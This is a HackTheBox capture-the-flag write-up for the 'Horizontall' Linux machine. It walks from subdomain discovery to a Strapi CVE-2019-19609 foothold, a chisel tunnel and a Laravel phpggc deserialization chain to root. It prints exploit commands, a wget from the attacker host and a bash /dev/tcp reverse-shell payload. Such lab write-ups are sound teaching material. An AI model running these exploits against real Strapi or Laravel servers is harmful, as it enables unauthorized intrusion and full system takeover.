Skip to content

Horizontall Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Horizontall is a Linux box. The chain runs: nmap finds SSH and nginx on port 80, a compiled Vue.js bundle leaks a hidden API subdomain running Strapi, CVE-2019-19609 gives a shell as the strapi user, chisel exposes an internal Laravel app on port 8000, and a PHP deserialization gadget chain via phpggc and laravel-exploits gives a root shell.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -p22,80 -sCV $TARGET_IP -oA nmap/nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb

nginx redirects to a named vhost. Add it to /etc/hosts before continuing.

Subdomain Discovery

The site at http://horizontall.htb is a static Vue.js SPA. The compiled JS bundle hardcodes the backend API URL:

┌──(kali㉿kali)-[~]
└─$ curl http://horizontall.htb/js/app.c68eb462.js | grep -oP 'http://[^"]+\.htb[^"]*'
http://api-prod.horizontall.htb/reviews

api-prod.horizontall.htb is not linked anywhere in the visible site. Add it to /etc/hosts and probe it:

┌──(kali㉿kali)-[~]
└─$ whatweb http://api-prod.horizontall.htb
X-Powered-By[Strapi <strapi.io>]

Strapi headless CMS. Older Strapi versions have a well-documented unauthenticated RCE.

Foothold

CVE-2019-19609 Strapi RCE

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/glowbase/CVE-2019-19609
┌──(kali㉿kali)-[~]
└─$ cd CVE-2019-19609
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://api-prod.horizontall.htb $ATTACKER_IP $ATTACKER_PORT
[+] Checking Strapi CMS version
[+] Looks like this exploit should work!
[+] Executing exploit
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 59032
$ whoami
strapi

Shell as strapi.

Internal Enumeration

┌──(kali㉿kali)-[~]
└─$ ss -tulnp
tcp  LISTEN  127.0.0.1:1337   node
tcp  LISTEN  127.0.0.1:8000
tcp  LISTEN  127.0.0.1:3306

Port 8000 is a second, internal-only web application. Pivot to it with chisel.

Chisel tunnel

┌──(kali㉿kali)-[~]
└─$ chisel server --reverse -p 8001
strapi@horizontall ~ $ wget http://$ATTACKER_IP/chisel && chmod +x chisel
strapi@horizontall ~ $ ./chisel client $ATTACKER_IP:8001 R:8000:127.0.0.1:8000
client: Connected (Latency 260ms)

Port 8000 is now reachable locally. Probing it reveals Laravel v8 on PHP 7.4.18, running as root on the localhost interface only.

Privilege Escalation

Laravel deserialization RCE

The exploit chain abuses Laravel's log file as a deserialization sink via a monolog/rce1 gadget chain built with phpggc:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ambionics/laravel-exploits
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ambionics/phpggc
┌──(kali㉿kali)-[~]
└─$ cd phpggc
┌──(kali㉿kali)-[~]
└─$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
┌──(kali㉿kali)-[~]
└─$ cd ../laravel-exploits
┌──(kali㉿kali)-[~]
└─$ python3 laravel-rce.py http://127.0.0.1:8000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------

Code execution as root. Rebuild the payload with a reverse shell:

┌──(kali㉿kali)-[~]
└─$ cd phpggc
┌──(kali㉿kali)-[~]
└─$ php -d phar.readonly=0 ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'bash -c "exec bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"'
┌──(kali㉿kali)-[~]
└─$ cd ../laravel-exploits
┌──(kali㉿kali)-[~]
└─$ python3 laravel-rce.py http://127.0.0.1:8000 /tmp/exploit.phar
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53054
root@horizontall:~# whoami
root

References